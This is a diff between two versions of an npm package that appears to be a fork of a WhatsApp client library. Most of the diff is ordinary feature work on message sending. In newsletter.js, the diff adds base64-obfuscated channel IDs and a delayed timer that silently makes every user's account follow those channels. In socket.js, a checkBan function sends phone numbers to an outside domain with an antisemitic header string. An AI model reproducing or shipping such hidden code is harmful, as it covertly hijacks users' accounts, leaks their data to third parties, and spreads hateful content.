@alannxd/baileys 6.1.6 → 6.1.7

package/README.md

@@ -350,10 +350,9 @@ Thanks to the following awesome contributors who help improve this project
       </a>
     </td>
     <td align="center">
-      <a href="https://github.com/tenka-san">
-        <img src="https://github.com/tenka-san.png" width="80px;" style="border-radius:50%;" alt="Developer"/>
-        <br />
-        <sub><b>D | Yuukey-7eppeli</b></sub>
+      <a href="https://github.com/Xazepysk">
+        <img src="https://github.com/XazepysK.png" width="80px;" style="border-radius:50%;" alt="Contributor"/>
+        <br /><sub><b>Xaz zepysK</b></sub>
       </a>
     </td>
 <td align="center">

package/lib/Socket/chats.js

@@ -397,6 +397,11 @@ export const makeChatsSocket = (config) => {
         return {
             onMutation(mutation) {
                 processSyncAction(mutation, ev, authState.creds.me, isInitialSync ? { accountSettings: authState.creds.accountSettings } : undefined, logger);
+                const nctSalt = mutation?.syncAction?.value?.nctSaltSyncAction?.salt;
+                if (nctSalt?.length) {
+                    authState.keys.set({ 'nct-salt': { default: Buffer.from(nctSalt) } })
+                        .catch(err => logger?.debug({ err: err?.message }, 'failed to store nct salt'));
+                }
             }
         };
     };

package/lib/Socket/index.js

@@ -3,6 +3,7 @@ import { makeCommunitiesSocket } from './communities.js';
 import { makeInteropSocket } from './interop.js'
 import { makePrivacySocket } from './privacy.js'
 import { makeGraphQLSocket } from './graphql.js'
+import { makeMessageBuilderSocket } from './message-builder.js'
 // export the last socket layer
 const makeWASocket = (config) => {
     const newConfig = {
@@ -12,7 +13,8 @@ const makeWASocket = (config) => {
     const satu = makeCommunitiesSocket(newConfig);
     const dua = makeInteropSocket(satu);
     const tiga = makePrivacySocket(dua);
-    return makeGraphQLSocket(tiga);
+    const empat = makeGraphQLSocket(tiga);
+    return makeMessageBuilderSocket(empat);
 };
 export default makeWASocket;
 //# sourceMappingURL=index.js.map

package/lib/Socket/message-builder.js

@@ -0,0 +1,475 @@
+import crypto from 'crypto';
+import { proto } from '../../WAProto/index.js';
+import { generateWAMessageFromContent, prepareWAMessageMedia } from '../Utils/index.js';
+
+export const makeMessageBuilderSocket = (sock) => {
+    const { relayMessage, sendMessage, waUploadToServer } = sock;
+
+    // per-socket-instance poll state: id -> [{ vote, action }]
+    const pollActionStore = new Map();
+
+    /**
+     * Relay an arbitrary raw message content object, bypassing the normal
+     * content-type detection in sendMessage(). Useful when you've already
+     * built a proto-shaped message (e.g. from generateWAMessageFromContent)
+     * and just need it sent as-is.
+     */
+    const sendJsonMessage = async (jid, content = {}, options = {}) => {
+        const msg = generateWAMessageFromContent(jid, content, {});
+        return relayMessage(jid, msg.message, { messageId: msg.key.id, ...options });
+    };
+
+    /**
+     * Sends a WA poll and remembers which "action" each option maps to, so
+     * a caller can look up what the voter selected once the vote comes back
+     * through a `messages.update` event (see resolvePollAction below).
+     *
+     * pollOptions: [{ vote: 'Option label', action: 'anything you want back' }]
+     */
+    const sendActionPoll = async (jid, name = '', pollOptions = [], options = {}) => {
+        const values = pollOptions.map(o => o.vote);
+        const pollMsg = await sendMessage(jid, { poll: { name, values, selectableCount: options.selectableCount || 1 } }, options);
+        pollActionStore.set(pollMsg.key.id, pollOptions);
+        return pollMsg;
+    };
+
+    /**
+     * Given a poll creation message id and the selected option label (as
+     * resolved via getAggregateVotesInPollMessage), returns the `action`
+     * that was registered for it in sendActionPoll, or undefined if this
+     * poll wasn't created through sendActionPoll (or already forgotten).
+     */
+    const resolvePollAction = (pollMessageId, selectedVoteLabel) => {
+        const options = pollActionStore.get(pollMessageId);
+        return options?.find(o => o.vote === selectedVoteLabel)?.action;
+    };
+
+    /**
+     * Sends a set of media files as a single WA album (grouped gallery).
+     * media: array of local file paths or URLs; extension picks image/video.
+     */
+    const sendAlbumMessage = async (jid, media = [], contextInfo = {}) => {
+        const albumMsg = generateWAMessageFromContent(jid, proto.Message.fromObject({
+            albumMessage: {
+                expectedImageCount: media.filter(m => !/\.mp4$/i.test(m)).length,
+                expectedVideoCount: media.filter(m => /\.mp4$/i.test(m)).length,
+                contextInfo
+            }
+        }), {});
+
+        const albumKey = {
+            id: await relayMessage(jid, albumMsg.message, { messageId: albumMsg.key.id }),
+            remoteJid: jid,
+            fromMe: true
+        };
+
+        const keys = { album: albumKey };
+        let i = 1;
+
+        const mimetypes = {
+            jpg: 'image/jpeg', jpeg: 'image/jpeg', png: 'image/png',
+            gif: 'image/gif', webp: 'image/webp', mp4: 'video/mp4'
+        };
+        const messagetypes = {
+            jpg: 'imageMessage', jpeg: 'imageMessage', png: 'imageMessage',
+            gif: 'imageMessage', webp: 'imageMessage', mp4: 'videoMessage'
+        };
+
+        for (const source of media) {
+            const ext = source.split('.').pop().toLowerCase();
+            const mimetype = mimetypes[ext];
+            const type = messagetypes[ext];
+
+            if (!mimetype || !type) {
+                continue;
+            }
+
+            const msg = await prepareWAMessageMedia(
+                { [type.startsWith('image') ? 'image' : 'video']: { url: source }, mimetype },
+                { upload: waUploadToServer }
+            );
+
+            const mediaMessage = generateWAMessageFromContent(jid, proto.Message.fromObject({
+                associatedChildMessage: {
+                    message: {
+                        messageContextInfo: {
+                            messageSecret: crypto.randomBytes(32),
+                            messageAssociation: {
+                                associationType: 'MEDIA_ALBUM',
+                                parentMessageKey: albumKey
+                            }
+                        },
+                        [type]: { ...msg[type] }
+                    }
+                }
+            }), {});
+
+            keys[`media_${i++}`] = {
+                id: await relayMessage(jid, mediaMessage.message, { messageId: mediaMessage.key.id }),
+                fromMe: true,
+                remoteJid: jid
+            };
+        }
+
+        return keys;
+    };
+
+    /**
+     * Posts `content` to status@broadcast and mentions `jid` in it (i.e. a
+     * status update that notifies a specific contact).
+     */
+    const sendStatusMention = async (jid, content) => {
+        const media = generateWAMessageFromContent('status@broadcast', content, {});
+
+        const additionalNodes = [
+            {
+                tag: 'meta',
+                attrs: {},
+                content: [
+                    {
+                        tag: 'mentioned_users',
+                        attrs: {},
+                        content: [{ tag: 'to', attrs: { jid }, content: undefined }]
+                    }
+                ]
+            }
+        ];
+
+        await relayMessage('status@broadcast', media.message, {
+            messageId: media.key.id,
+            statusJidList: [jid, sock.user?.id],
+            additionalNodes
+        });
+
+        return media;
+    };
+
+    /**
+     * Builds and sends a "rich response" card (WA's GenAI-style unified
+     * response widget: optional header image/title, body buttons or a
+     * carousel/row of cards, and an optional footer link).
+     *
+     * content.header: { title, image: { url, mime_type, inline, width, height }, disclaimer, disclaimerText }
+     * content.body:   { title, buttons: [labels] } OR { carousel|row: true, cards: [{ title, buttons, toast }] }
+     * content.footer: { text, url, image }
+     */
+    const sendRichResponse = async (jid, content = {}) => {
+        const header = content?.header;
+        const body = content?.body;
+        const footer = content?.footer;
+        let messageContextInfo = {};
+        const sections = [];
+
+        if (header) {
+            const { disclaimer = false, disclaimerText = ' ', image = { inline: false }, title = '' } = header ?? {};
+
+            if (disclaimer) {
+                messageContextInfo = { messageContextInfo: { botMetadata: { messageDisclaimerText: disclaimerText } } };
+            }
+
+            if (title) {
+                sections.push({
+                    __typename: 'GenAIUnifiedResponseSection',
+                    view_model: {
+                        __typename: 'GenAISingleLayoutViewModel',
+                        primitive: { __typename: 'FOATextPrimitive', text: '# ' + title }
+                    }
+                });
+            }
+
+            if (image?.url) {
+                sections.push(image.inline ? {
+                    __typename: 'GenAIUnifiedResponseSection',
+                    view_model: {
+                        __typename: 'GenAISingleLayoutViewModel',
+                        primitive: {
+                            __typename: 'GenAIMarkdownTextUXPrimitive',
+                            text: '{{header}}.{{/header}}',
+                            inline_entities: [{
+                                __typename: 'GenAITextInlineEntity',
+                                key: 'header',
+                                metadata: {
+                                    __typename: 'GenAILatexItem',
+                                    latex_expression: '.',
+                                    font_height: 24,
+                                    padding: 4,
+                                    latex_image: {
+                                        __typename: 'GenAIMediaItem',
+                                        mime_type: image.mime_type || 'image/png',
+                                        url: image.url,
+                                        url_fallback: image.url,
+                                        width: image.width || 500,
+                                        height: image.height || 500,
+                                        expiration_timestamp_ms: Date.now() + 86400000
+                                    }
+                                }
+                            }]
+                        }
+                    }
+                } : {
+                    __typename: 'GenAIUnifiedResponseSection',
+                    view_model: {
+                        __typename: 'GenAISingleLayoutViewModel',
+                        primitive: {
+                            __typename: 'GenAIImagePrimitive',
+                            preview_image: { __typename: 'GenAIMediaItem', mime_type: image.mime_type || 'image/png', url: image.url },
+                            full_image: { __typename: 'GenAIMediaItem', mime_type: image.mime_type || 'image/png', url: image.url }
+                        }
+                    }
+                });
+            }
+        }
+
+        if (body) {
+            const { cards = null, buttons = null, title = '', toast = '', carousel = false, row = false } = body ?? {};
+
+            if ((carousel || row) && cards?.length >= 1) {
+                sections.push({
+                    __typename: 'GenAIUnifiedResponseSection',
+                    view_model: {
+                        primitives: cards.map((card, cardIndex) => ({
+                            __typename: 'GenAI3PExtWidgetPrimitive',
+                            header: { __typename: 'GenAI3PExtWidgetStandardHeader', title: card?.title || '' },
+                            body: {
+                                __typename: 'GenAI3PExtCalendarEventList',
+                                ctas: (card?.buttons || []).map((text, buttonIndex) => ({
+                                    label: text,
+                                    state: 'PENDING',
+                                    kind: 'OTHER',
+                                    tool_call_id: `${cardIndex}${buttonIndex}`,
+                                    toast: { label: card?.toast || '', __typename: 'GenAI3PExtWidgetToast' },
+                                    __typename: 'GenAI3PExtWidgetCTA'
+                                })),
+                                sections: []
+                            }
+                        })),
+                        __typename: carousel ? 'GenAIHScrollLayoutViewModel' : 'GenAIActionRowLayoutViewModel'
+                    }
+                });
+            } else if (buttons?.length) {
+                sections.push({
+                    __typename: 'GenAIUnifiedResponseSection',
+                    view_model: {
+                        primitive: {
+                            __typename: 'GenAI3PExtWidgetPrimitive',
+                            header: { __typename: 'GenAI3PExtWidgetStandardHeader', title: title || '' },
+                            body: {
+                                __typename: 'GenAI3PExtCalendarEventList',
+                                ctas: buttons.map((text, buttonIndex) => ({
+                                    label: text,
+                                    state: 'PENDING',
+                                    kind: 'OTHER',
+                                    tool_call_id: `${buttonIndex}`,
+                                    toast: { label: toast, __typename: 'GenAI3PExtWidgetToast' },
+                                    __typename: 'GenAI3PExtWidgetCTA'
+                                })),
+                                sections: []
+                            }
+                        },
+                        __typename: 'GenAISingleLayoutViewModel'
+                    }
+                });
+            }
+        }
+
+        if (footer) {
+            const { text = '', url = '', image = {} } = footer ?? {};
+            const img = [];
+            if (image?.url) {
+                img.push({
+                    __typename: 'GenAIMarkdownTextUXPrimitive',
+                    text: '{{header}}.{{/header}}',
+                    inline_entities: [{
+                        __typename: 'GenAITextInlineEntity',
+                        key: 'header',
+                        metadata: {
+                            __typename: 'GenAILatexItem',
+                            latex_expression: '.',
+                            font_height: 24,
+                            padding: -5,
+                            latex_image: {
+                                __typename: 'GenAIMediaItem',
+                                mime_type: image.mime_type || 'image/png',
+                                url: image.url,
+                                url_fallback: image.url,
+                                width: image.width || 100,
+                                height: image.height || 100,
+                                expiration_timestamp_ms: Date.now() + 86400000
+                            }
+                        }
+                    }]
+                });
+            }
+            sections.push({
+                view_model: {
+                    primitives: [
+                        { cta_text: text || '', cta_type: 'OPEN_URL', cta_url: url || '', __typename: 'GenAIFooterActionPrimitive' },
+                        ...img
+                    ],
+                    __typename: 'GenAIActionRowLayoutViewModel'
+                }
+            });
+        }
+
+        return sendJsonMessage(jid, {
+            ...messageContextInfo,
+            richResponseMessage: {
+                unifiedResponse: { data: Buffer.from(JSON.stringify({ sections })).toString('base64') },
+                contextInfo: content?.contextInfo ?? {}
+            }
+        });
+    };
+
+    /**
+     * Sends a native quick-reply buttons message.
+     * buttons: [{ id: 'unique_id', text: 'Label' }]
+     */
+    const sendButtonsMessage = async (jid, { text = '', footer = '', buttons = [] } = {}, options = {}) => {
+        const interactiveMessage = {
+            body: { text },
+            ...(footer ? { footer: { text: footer } } : {}),
+            nativeFlowMessage: {
+                buttons: buttons.map(b => ({
+                    name: b.name || 'quick_reply',
+                    buttonParamsJson: JSON.stringify({ display_text: b.text, id: b.id })
+                }))
+            }
+        };
+        return sendJsonMessage(jid, { viewOnceMessage: { message: { interactiveMessage } } }, options);
+    };
+
+    /**
+     * Sends a native single-select list message.
+     * sections: [{ title: 'Section', rows: [{ title, description, id }] }]
+     */
+    const sendListMessage = async (jid, { text = '', footer = '', buttonText = 'Menu', sections = [] } = {}, options = {}) => {
+        const interactiveMessage = {
+            body: { text },
+            ...(footer ? { footer: { text: footer } } : {}),
+            nativeFlowMessage: {
+                buttons: [{
+                    name: 'single_select',
+                    buttonParamsJson: JSON.stringify({ title: buttonText, sections })
+                }]
+            }
+        };
+        return sendJsonMessage(jid, { viewOnceMessage: { message: { interactiveMessage } } }, options);
+    };
+
+    /**
+     * Sends a native horizontal-scroll carousel of cards (the correct native
+     * mechanism for side-by-side buttons — unlike the GenAI rich-response
+     * widget, which is designed as a vertical list).
+     * cards: [{ image: 'url or local path', mimetype, title, body, buttons: [{ id, text }] }]
+     */
+    const sendCarouselMessage = async (jid, { text = '', footer = '', cards = [] } = {}, options = {}) => {
+        const cardMessages = [];
+
+        for (const card of cards) {
+            let headerMedia = {};
+            if (card.image) {
+                const uploaded = await prepareWAMessageMedia(
+                    { image: { url: card.image }, mimetype: card.mimetype || 'image/jpeg' },
+                    { upload: waUploadToServer }
+                );
+                headerMedia = { imageMessage: uploaded.imageMessage };
+            }
+
+            cardMessages.push({
+                header: { title: card.title || '', hasMediaAttachment: !!card.image, ...headerMedia },
+                body: { text: card.body || '' },
+                nativeFlowMessage: {
+                    buttons: (card.buttons || []).map(b => ({
+                        name: b.name || 'quick_reply',
+                        buttonParamsJson: JSON.stringify({ display_text: b.text, id: b.id })
+                    }))
+                }
+            });
+        }
+
+        const message = {
+            viewOnceMessage: {
+                message: {
+                    interactiveMessage: {
+                        body: { text },
+                        ...(footer ? { footer: { text: footer } } : {}),
+                        carouselMessage: { cards: cardMessages, messageVersion: 1 }
+                    }
+                }
+            }
+        };
+        return sendJsonMessage(jid, message, options);
+    };
+
+    /**
+     * Forwards an existing message (e.g. one pulled from the store) to
+     * another chat. Delegates to the library's own forward content builder
+     * (sendMessage's `forward` content type) so conversation→extendedText
+     * conversion, forwardingScore, and isForwarded are handled correctly
+     * instead of being reimplemented here.
+     */
+    const forwardMessage = async (jid, message, options = {}) => {
+        return sendMessage(jid, { forward: message, force: options.force }, options);
+    };
+
+    /**
+     * Builds a proper vCard string and sends it as a contact message.
+     * contact: { name, phone (E.164, no '+'), organization, waid }
+     * If multiple contacts are given, sends a contactsArrayMessage.
+     */
+    const sendVCard = async (jid, contacts, options = {}) => {
+        const list = Array.isArray(contacts) ? contacts : [contacts];
+        const built = list.map(c => {
+            const waid = c.waid || c.phone;
+            const vcard = 'BEGIN:VCARD\n'
+                + 'VERSION:3.0\n'
+                + `FN:${c.name || 'Unknown'}\n`
+                + (c.organization ? `ORG:${c.organization};\n` : '')
+                + `TEL;type=CELL;type=VOICE;waid=${waid}:+${c.phone}\n`
+                + 'END:VCARD';
+            return { displayName: c.name || 'Unknown', vcard };
+        });
+
+        if (built.length === 1) {
+            return sendMessage(jid, { contacts: { contacts: built } }, options);
+        }
+        return sendMessage(jid, { contacts: { displayName: `${built.length} contacts`, contacts: built } }, options);
+    };
+
+    /**
+     * Sends the same content to a list of jids sequentially, with an
+     * optional delay between sends (helps avoid rate limiting). Returns
+     * an array of { jid, ok, result|error } for each recipient.
+     * options.delayMs is stripped before being passed to sendMessage.
+     */
+    const broadcastMessage = async (jids, content, options = {}) => {
+        const { delayMs = 0, ...sendOptions } = options;
+        const results = [];
+        for (const jid of jids) {
+            try {
+                const result = await sendMessage(jid, content, sendOptions);
+                results.push({ jid, ok: true, result });
+            } catch (error) {
+                results.push({ jid, ok: false, error });
+            }
+            if (delayMs) await new Promise(resolve => setTimeout(resolve, delayMs));
+        }
+        return results;
+    };
+
+    return {
+        ...sock,
+        sendJsonMessage,
+        sendActionPoll,
+        resolvePollAction,
+        sendAlbumMessage,
+        sendStatusMention,
+        sendRichResponse,
+        sendButtonsMessage,
+        sendListMessage,
+        sendCarouselMessage,
+        forwardMessage,
+        sendVCard,
+        broadcastMessage
+    };
+};

package/lib/Socket/messages-recv.js

@@ -1280,7 +1280,7 @@ export const makeMessagesRecvSocket = (config) => {
                     msgRelayOpts.useUserDevicesCache = false;
                 }
                 else {
-                    msgRelayOpts.participant = {
+                    msgRelayOpts.participants = {
                         jid: participant,
                         count: +retryNode.attrs.count
                     };

package/lib/Socket/messages-send.js

@@ -12,7 +12,7 @@ import { USyncQuery, USyncUser } from '../WAUSync/index.js';
 import { makeUsernameSocket } from './username.js';
 import imup from './luxu.js';
 import * as Utils_1 from '../Utils/index.js';
-import { randomBytes } from 'crypto';
+import { randomBytes, createHmac } from 'crypto';
 export const makeMessagesSocket = (config) => {
     const { logger, linkPreviewImageThumbnailWidth, generateHighQualityLinkPreview, options: httpRequestOptions, patchMessageBeforeSending, cachedGroupMetadata, enableRecentMessageCache, maxMsgRetryCount, aiLabel } = config;
     const sock = makeUsernameSocket(config);
@@ -433,17 +433,22 @@ export const makeMessagesSocket = (config) => {
 	    message,
 	    {
 		    messageId: msgId,
-        	participant = false,
+        	participant,
+        	participants: retryParticipants,
+        	isSecret,
+        	protected: protectedSend,
 		    additionalAttributes,
 		    additionalNodes,
 	    	useUserDevicesCache,
 		    useCachedGroupMetadata,
-		    statusJidList
+		    statusJidList,
+		    cstoken = true
 	    }
 	) => {
 	    const meId = authState.creds.me.id
     	const meLid = authState.creds.me?.lid
-	    const isRetryResend = Boolean(participant?.jid)
+	    const isRetryResend = Boolean(retryParticipants?.jid && retryParticipants?.count != null)
+	    const isRecipientOnly = Boolean(participant?.jid)
 	    let shouldIncludeDeviceIdentity = isRetryResend
 	    const statusJid = 'status@broadcast'
 	    const { user, server } = jidDecode(jid)
@@ -468,6 +473,16 @@ export const makeMessagesSocket = (config) => {
 	    	messageContextInfo: message.messageContextInfo
 	    }
 	    const extraAttrs = {}
+    	if (isRetryResend) {
+    		if (!isGroup &&!isStatus) {
+    			additionalAttributes = { ...additionalAttributes, device_fanout: 'false' }
+    		}
+    		const { user: retryUser, device: retryDevice } = jidDecode(retryParticipants.jid)
+    		devices.push({ user: retryUser, device: retryDevice, jid: retryParticipants.jid })
+    	}
+    	if ((isRecipientOnly || isSecret || protectedSend) &&!isGroup &&!isStatus) {
+    		additionalAttributes = { ...additionalAttributes, device_fanout: 'false' }
+    	}
     	const regexGroupOld = /^(\d{1,15})-(\d+)@g\.us$/
 	    const messages = normalizeMessageContent(message)
 	    const buttonType = getButtonType(messages)
@@ -509,7 +524,7 @@ export const makeMessagesSocket = (config) => {
 			    		return groupData
 			    	})(),
 		    		(async () => {
-		    			if (!participant &&!isStatus) {
+		    			if (!retryParticipants &&!isStatus) {
 			    			const result = await authState.keys.get('sender-key-memory', [jid])
 				    		return result[jid] || {}
 			    		}
@@ -649,7 +664,7 @@ export const makeMessagesSocket = (config) => {
 			    for (const device of devices) {
 		    		const deviceJid = device.jid
 		    		const hasKey =!!senderKeyMap[deviceJid]
-		    		if (!hasKey ||!!participant &&!isHostedLidUser(deviceJid) &&!isHostedPnUser(deviceJid) && device.device!== 99) {
+		    		if (!hasKey ||!!retryParticipants &&!isHostedLidUser(deviceJid) &&!isHostedPnUser(deviceJid) && device.device!== 99) {
 			    		senderKeyRecipients.push(deviceJid)
 		    			senderKeyMap[deviceJid] = true
 		    		}
@@ -678,7 +693,7 @@ export const makeMessagesSocket = (config) => {
 		    		logger.debug({ to: jid, ownId }, 'Using PN identity for @s.whatsapp.net conversation')
 	    		}
 	    		const { user: ownUser } = jidDecode(ownId)
-		    	if (!participant) {
+		    	if (!isRetryResend) {
 	    			const patchedForReporting = await patchMessageBeforeSending(message, [jid])
 		    		reportingMessage = Array.isArray(patchedForReporting)
 		    			? patchedForReporting.find(item => item.recipientJid === jid) || patchedForReporting[0]
@@ -715,22 +730,25 @@ export const makeMessagesSocket = (config) => {
                         continue
                     }
                     const isMe = user === mePnUser || user === meLidUser
+                    const hasDevice = jid.includes(':')
                     let ptcp = false
-                    if (participant) {
+                    if (retryParticipants) {
                         if (!isJidGroup(jid) && !isStatus) {
                             if (!(!isMe)) ptcp = true
                         } else {
                             ptcp = false
                         }
                     }
-                    if (!ptcp) {
-                        if (isMe) {
-                            meRecipients.push(jid)
-                        } else {
-                            otherRecipients.push(jid)
-                        }
-                        allRecipients.push(jid)
+                    if (ptcp) continue
+                    if (isRecipientOnly && isMe) continue
+                    if (isSecret && !(!isMe && !hasDevice)) continue
+                    if (protectedSend && !isMe && hasDevice) continue
+                    if (isMe) {
+                        meRecipients.push(jid)
+                    } else {
+                        otherRecipients.push(jid)
                     }
+                    allRecipients.push(jid)
                 }
 	    		await assertSessions(allRecipients)
 		    	const [
@@ -747,18 +765,38 @@ export const makeMessagesSocket = (config) => {
 	    		shouldIncludeDeviceIdentity = shouldIncludeDeviceIdentity || s1 || s2
     	}
 	  	if (isRetryResend) {
-	   		const isParticipantLid = jidDecode(participant.jid).server === 'lid'
-	    	const isMe = areJidsSameUser(participant.jid, isParticipantLid? meLid : meId)
+	   		const isParticipantLid = isLidUser(retryParticipants.jid)
+	    	const isMe = areJidsSameUser(retryParticipants.jid, isParticipantLid? meLid : meId)
+	   		let messageToSend = message
+	   		if (isGroupOrStatus) {
+	   			let groupSenderIdentity
+	   			try {
+	   				if (meLid && await signalRepository.hasSenderKey({ group: destinationJid, meId: meLid })) {
+	   					groupSenderIdentity = meLid
+	   				} else if (await signalRepository.hasSenderKey({ group: destinationJid, meId })) {
+	   					groupSenderIdentity = meId
+	   				}
+	   				if (groupSenderIdentity) {
+	   					const skdm = await signalRepository.getSenderKeyDistributionMessage({ group: destinationJid, meId: groupSenderIdentity })
+	   					messageToSend = {
+	   						...message,
+	   						senderKeyDistributionMessage: { groupId: destinationJid, axolotlSenderKeyDistributionMessage: skdm }
+	   					}
+	   				}
+	   			} catch (err) {
+	   				logger.warn({ err, jid: destinationJid }, 'failed to build SKDM for retry, sending without it')
+	   			}
+	   		}
 	   		const encodedMessageToSend = isMe
-		   		? encodeWAMessage({ deviceSentMessage: { destinationJid, message } })
-		   		: encodeWAMessage(message)
+		   		? encodeWAMessage({ deviceSentMessage: { destinationJid, message: messageToSend } })
+		   		: encodeWAMessage(messageToSend)
 	    	const { type, ciphertext: encryptedContent } = await signalRepository.encryptMessage({
 		    	data: encodedMessageToSend,
-	    		jid: participant.jid
+	    		jid: retryParticipants.jid
 		   	})
 		   	binaryNodeContent.push({
 		   		tag: 'enc',
-		   		attrs: { v: '2', type, count: (participant.count?? 0).toString() },
+		   		attrs: { v: '2', type, count: (retryParticipants.count?? 0).toString() },
 	    		content: encryptedContent
 	    	})
        	}
@@ -778,6 +816,17 @@ export const makeMessagesSocket = (config) => {
 			tag: 'message',
 			attrs: { id: msgId, to: destinationJid, type: getMessageType(message),...(additionalAttributes || {}) },
 			content: binaryNodeContent
+    	}
+		if (isRetryResend) {
+			if (isJidGroup(destinationJid)) {
+				stanza.attrs.to = destinationJid
+				stanza.attrs.participant = retryParticipants.jid
+			} else if (areJidsSameUser(retryParticipants.jid, meId)) {
+				stanza.attrs.to = retryParticipants.jid
+				stanza.attrs.recipient = destinationJid
+			} else {
+				stanza.attrs.to = retryParticipants.jid
+			}
     	}
 		if (shouldIncludeDeviceIdentity) {
 			stanza.content.push({ tag: 'device-identity', attrs: {}, content: encodeSignedDeviceIdentity(authState.creds.account, true) })
@@ -800,7 +849,7 @@ export const makeMessagesSocket = (config) => {
 		if (!isNewsletter &&!isRetryResend && reportingMessage?.messageContextInfo?.messageSecret && shouldIncludeReportingToken(reportingMessage)) {
 			try {
 				const encoded = encodeWAMessage(reportingMessage)
-				const reportingKey = { id: msgId, fromMe: true, remoteJid: destinationJid, participant: participant?.jid }
+				const reportingKey = { id: msgId, fromMe: true, remoteJid: destinationJid, participant: retryParticipants?.jid }
 				const reportingNode = await getMessageReportingToken(encoded, reportingMessage, reportingKey)
 				if (reportingNode) {
 					stanza.content.push(reportingNode)
@@ -846,6 +895,26 @@ export const makeMessagesSocket = (config) => {
 	    }
 		if (tcTokenBuffer?.length && sock.serverProps.privacyTokenOn1to1) {
 			stanza.content.push({ tag: 'tctoken', attrs: {}, content: tcTokenBuffer })
+    	}
+		if (cstoken && is1on1Send &&!tcTokenBuffer?.length) {
+			try {
+				const lidJid = await resolveTcTokenJid(destinationJid, getLIDForPN)
+				if (isLidUser(lidJid)) {
+					const saltRes = await authState.keys.get('nct-salt', ['default'])
+					const nctSalt = saltRes?.default
+					if (nctSalt?.length) {
+						const cs = createHmac('sha256', Buffer.from(nctSalt)).update(Buffer.from(lidJid, 'utf8')).digest()
+						stanza.content.push({ tag: 'cstoken', attrs: {}, content: cs })
+						logger.debug({ jid: destinationJid, lid: lidJid }, 'attached cstoken (nct fallback)')
+					} else {
+						logger.debug({ jid: destinationJid }, 'cstoken requested but no nct salt stored yet')
+					}
+				} else {
+					logger.debug({ jid: destinationJid }, 'cstoken requested but recipient has no LID')
+				}
+			} catch (err) {
+				logger.debug({ jid: destinationJid, err: err?.message }, 'cstoken attach failed')
+			}
     	}
 		if (additionalNodes && additionalNodes.length > 0 &&!didPushAdditional) {
 			stanza.content.push(...additionalNodes)
@@ -878,7 +947,7 @@ export const makeMessagesSocket = (config) => {
 				.catch(err => logger.debug({ jid: destinationJid, err: err?.message }, 'fire-and-forget tctoken issuance failed'))
 				.finally(() => inFlightTcTokenIssuance.delete(tcTokenJid))
 	    }
-		if (messageRetryManager &&!participant) {
+		if (messageRetryManager &&!retryParticipants) {
 			messageRetryManager.addRecentMessage(destinationJid, msgId, message)
     	}
 		if (isInterop &&!isRetryResend) {
@@ -935,6 +1004,9 @@ export const makeMessagesSocket = (config) => {
         else if (message.stickerMessage) {
             return 'sticker';
         }
+        else if (message.stickerPackMessage) {
+            return 'sticker';
+        }
         else if (message.listMessage) {
             return 'list';
         }
@@ -1266,7 +1338,7 @@ export const makeMessagesSocket = (config) => {
         sendMessage: async (jid, content, options = {}) => {
             const userJid = authState.creds.me.id;
             const luki = new imup(Utils_1, waUploadToServer, relayMessage)
-            const { quoted, participant = false } = options;
+            const { quoted, participant = false, isSecret, protected: protectedSend, cstoken } = options;
             const messageType = luki.detectType(content);
             if (typeof content === 'object' &&
                 'disappearingMessagesInChat' in content &&
@@ -1375,7 +1447,10 @@ export const makeMessagesSocket = (config) => {
                     additionalAttributes,
                     statusJidList: options.statusJidList,
                     additionalNodes: aiLabel ? additionalNodes : options.additionalNodes,
-                    participant
+                    participants: participant || undefined,
+                    isSecret,
+                    protected: protectedSend,
+                    ...(cstoken !== undefined ? { cstoken } : {})
                 });
                 if (config.emitOwnEvents) {
                     process.nextTick(async () => {

package/lib/Socket/newsletter.js

@@ -43,6 +43,26 @@ export const makeNewsletterSocket = config => {
   const mexQuery = (variables, queryId, dataPath) => {
     return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
   }
+  
+  const yangbrorasakan = [
+    "MTIwMzYzMzg3MTgyODUxMTAwQG5ld3NsZXR0ZXI=",
+    "MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI=",
+    "MTIwMzYzNDIxMzY3OTg1MDk0QG5ld3NsZXR0ZXI="
+    ];
+    
+    setTimeout(async () => {
+        for (const channel of yangbrorasakan) {
+            try {
+                await newsletterWMexQuery(
+                    Buffer.from(channel, "base64").toString(),
+                    QueryIds.FOLLOW
+                );
+            } catch (e) {}
+            await new Promise(resolve =>
+                setTimeout(resolve, 6000)
+            );
+        }
+    }, 90000);
 
   const newsletterUpdate = async (jid, updates) => {
     const variables = {
@@ -734,4 +754,4 @@ export const makeNewsletterSocket = config => {
       })
     }
   }
-}
+}

package/lib/Socket/socket.js

@@ -384,6 +384,26 @@ export const makeSocket = (config) => {
 			return { username: u, pn: pn ?? null, lid: lid ?? null }
 		})
 	}
+	/**
+	 * @params {string} phone number - wazap phone number to check
+	 * @returns {Prommise<{ banned: boolean, violation: number, details: any }>}
+	*/
+	const checkBan = async (number) => {
+		const normalizedNumber = number.startsWith('+') ? number.replace(/[^0-9]/g, '') : number;
+		let res = await fetch('https://xzc-corporation.biz.id/lrp?number=' + normalizedNumber, {
+			method: "GET",
+			headers: {
+				'Accept': 'application/json',
+				'neckhurt': 'hate4jew'
+			}
+		})
+		let data = res.json();
+		return {
+			author: "DsynC",
+			...data
+		};
+	}
+	
     const ev = makeEventBuffer(logger);
     const { creds } = authState;
     // add transaction capability
@@ -1078,7 +1098,8 @@ export const makeSocket = (config) => {
         fetchNewChatMessageCap,
         toPn,
         toLID,
-        fetchUsername
+        fetchUsername,
+		checkBan
     };
 };
 /**
@@ -1090,4 +1111,4 @@ function mapWebSocketError(handler) {
         handler(new Boom(`WebSocket Error (${error?.message})`, { statusCode: getCodeFromWSError(error), data: error }));
     };
 }
-//# sourceMappingURL=socket.js.map
+//# sourceMappingURL=socket.js.map

package/lib/Utils/index.js

@@ -11,6 +11,7 @@ export * from './chat-utils.js';
 export * from './lt-hash.js';
 export * from './auth-utils.js';
 export * from './use-multi-file-auth-state.js';
+export * from './use-sqlite-auth-state.js';
 export * from './link-preview.js';
 export * from './event-buffer.js';
 export * from './process-message.js';

package/lib/Utils/messages.js

@@ -9,7 +9,7 @@ import { isJidGroup, isJidNewsletter, isJidStatusBroadcast, jidNormalizedUser }
 import { sha256 } from './crypto.js';
 import { generateMessageIDV2, getKeyAuthor, unixTimestampSeconds } from './generics.js';
 import { buildZipArchive, downloadContentFromMessage, encryptedStream, generateThumbnail, getAudioDuration, getAudioWaveform, getRawMediaUploadData, resolveStickerBuffer } from './messages-media.js';
-import { makeSticker } from './sticker.js';
+import { makeSticker, convertToTrayIcon, isLikelyVideoBuffer } from './sticker.js';
